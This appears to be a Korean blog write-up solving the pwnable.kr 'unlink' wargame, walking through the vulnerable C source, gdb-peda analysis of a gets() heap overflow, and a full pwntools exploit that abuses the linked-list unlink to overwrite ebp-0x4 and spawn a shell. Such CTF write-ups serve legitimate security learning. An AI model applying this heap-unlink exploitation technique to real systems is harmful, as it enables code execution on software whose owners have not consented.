[Pwnable] unlink 시각화하면서 천천히 풀기

pwnkr에서는 gdb-peda 사용을 생활화

$ gdb -q unlink
(gdb) source /usr/share/peda/peda.py

 

> ssh unlink@pwnable.kr -p2222 (pw: guest)


Analysis

코드 전체보기

더보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

 

 

OBJ 구조체의 크기는 32비트 환경이므로 fd 4바이트, bk 4바이트, char 8바이트이다.

 

 

ASLR로 인해 heap의 매핑주소는 매번 달라진다

 

 

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

코드 부분을 시각화하자면

 

 

 

이렇게 double linked list가 나타난다.

 

 

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}

int main(int argc, char* argv[]){
		..
        // exploit this unlink!
        unlink(B);
        ..
}

B 구조체를 unlink할 경우 다음과 같다.

 

동적분석으로 확인해보자.

 

B는 메모리상 여전히 존재하지만, B로 향하는 pointer는 없기에 사실상 unlink된거나 마찬가지이다.

 


Exploit

1. unlink 과정에 우리는 A의 fd와 C의 bk를 조작할 수 있다.

        // heap overflow!
        gets(A->buf);

 

 

2. esp -> eip 조작으로 실행흐름 변경

esp 까지는 조작이 가능하다.

esp는 stack segment의 맨 꼭대기를 가르키는 포인터!

   0x080485fa <+203>:   mov    eax,0x0
   0x080485ff <+208>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>:   leave  
   0x08048603 <+212>:   lea    esp,[ecx-0x4]
   0x08048606 <+215>:   ret

PTR [ebp-0x4] -> ecx / [ecx-0x4] -> esp -> eip

esp를 조작하여 eip가 실행흐름을 바꾸게 해볼 것이다.

 

main+208부터 차근차근 확인해보면, ecx 레지스터에는 ebp-0x4의 값이 들어갑니다.

동적 분석시에도 같은 현상을 확인할 수 있습니다.

 

실제로 ecx-4에 저장된 값이 함수 종료 후 eip로 넘어가 이동하게 된다.

 

 

그러면 ebp-0x4는 어떻게 조작해요?

Eureka! B청크가 unlink되면서 ebp-0x4를 건든다는걸 잊고 있었다.

 

here is stack address leak: 0xfff4c024
here is heap address leak: 0x8eac410

gdb-peda$ x/4x $ebp-0x4
0xfff4c034:     0xfff4c050      0x00000000      0xf756b647      0xf7706000
gdb-peda$ p 0xfff4c034-0xfff4c024
$2 = 0x10

 

stack주소와 ebp-0x4 주소는 오프셋이 16바이트차이다.

 

참고로 여기서 노출된 heap 주소는 a의 fd 주소이다.

시각화를 하면 payload가 쉬워진다.

 

from pwn import *

s = ssh(user='unlink', host='pwnable.kr', port=2222, password='guest')
p = s.process("./unlink")

shell = 0x80484eb

p.recvuntil(b": ")
stack = int(p.recv(10), 16)

p.recvuntil(b": ")
heap = int(p.recv(10), 16)

print("stack ->", hex(stack))
print("heap ->", hex(heap))

payload = p32(shell)
payload += b"A"*12
payload += p32(heap + 12)
payload += p32(stack + 16) # ebp-4, 오프셋 16바이트 차이 기억!

p.sendline(payload)
p.interactive()

 

 

 

감사합니당

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable] horcruxes  (0) 2024.08.11
[Pwnable] blukat  (0) 2024.06.20